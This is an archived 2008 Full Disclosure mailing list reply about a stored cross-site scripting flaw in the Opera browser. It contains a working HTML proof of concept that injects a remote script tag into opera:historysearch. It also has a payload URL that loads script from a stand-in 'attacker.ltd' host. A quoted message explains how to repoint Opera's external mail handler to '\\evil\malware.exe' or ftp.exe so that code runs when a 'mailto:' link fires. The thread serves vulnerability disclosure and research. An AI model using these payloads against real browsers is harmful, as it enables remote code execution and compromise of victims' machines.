Full Disclosure mailing list archives

Re: Opera Stored Cross Site Scripting

From: Stefano Di Paola <stefano.dipaola () wisec it>
Date: Thu, 23 Oct 2008 12:34:26 +0200

Good job Aviv :)

that's exactly what I intended when I said:
"..
On linux/Macos probably some program execution could be done using xterm
--display at.tack.er in place of telnet program.

Also maybe under windows some \\att.tack.er\program.exe ?
.."

Roberto, for the q=Xss I found, just use the following html :

-------

<html>
<script>
function x() {
  window.open('opera:historysearch?q=%2A"><script+src%3d"http:%%32f%%
32fwww.raffon.net%%32fresearch%%32fopera%%32fhistory%%32fo.js"><%%
32fscript>&p=1&s=1');
  setTimeout(function(){window.open('mailto:abc&apos;)},500);
}
</script> 
<body  onload="setTimeout(x,300)"> 
<h3>opera:historysearch?q=%2AXssHere POC</h3>
Wait for 10 seconds<br>
Using the js from Aviv: <br>
http://www.raffon.net/research/opera/history/o.js <br>
The string for cache retrieve: <br>
<b>&lt;script
src='http://www.raffon.net/research/opera/history/o.js'&gt;&lt;/script&gt;</b>
</body>
</html>

------

That will allow the attacker to find the script code in
opera:historysearch.

Then, since opera adds link for next/previous page using the s=20, p=1
and q=query, you can force the victim to go to:

opera:historysearch?q=*"><script+src="http:%%32f%%32fattacker.ltd%%
32fs.js"><%%32fscript>*&s=1&p=1
 
Which will display the next page link and will trigger the script


Il giorno gio, 23/10/2008 alle 01.52 +0200, avivra ha scritto:

Hi,

 

Just found a way to use Stefano’s opera:config idea to execute code
from remote.

Instead of changing the HTTP Proxy, an attacker can change the default
external mail application to “\\evil\malware.exe ”, or to local
commands (e.g. ftp.exe which can be used to download malicious
binaries from remote). Also, there is a need to change the “Mail
Handler” settings to “2”, so opera will execute the external mail
application, instead of the default opera mail application.

After changing the settings, the attacker can simply set the location
to “mailto:” to execute the code.

 

A proof-of-concept which executes the Windows Calculator can be found
here: http://raffon.net/research/opera/history/op.html

 

Cheers,

--Aviv.

http://aviv.raffon.net

-- 
...oOOo...oOOo....
Stefano Di Paola
Software & Security Engineer

Owasp Italy R&D Director

Web: www.wisec.it
..................


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread:

Re: Opera Stored Cross Site Scripting avivra (Oct 22)
- Re: Opera Stored Cross Site Scripting Roberto Suggi (Oct 23)
- Re: Opera Stored Cross Site Scripting Stefano Di Paola (Oct 23)
- <Possible follow-ups>
- Re: Opera Stored Cross Site Scripting Kanedaaa Bohater (Oct 23)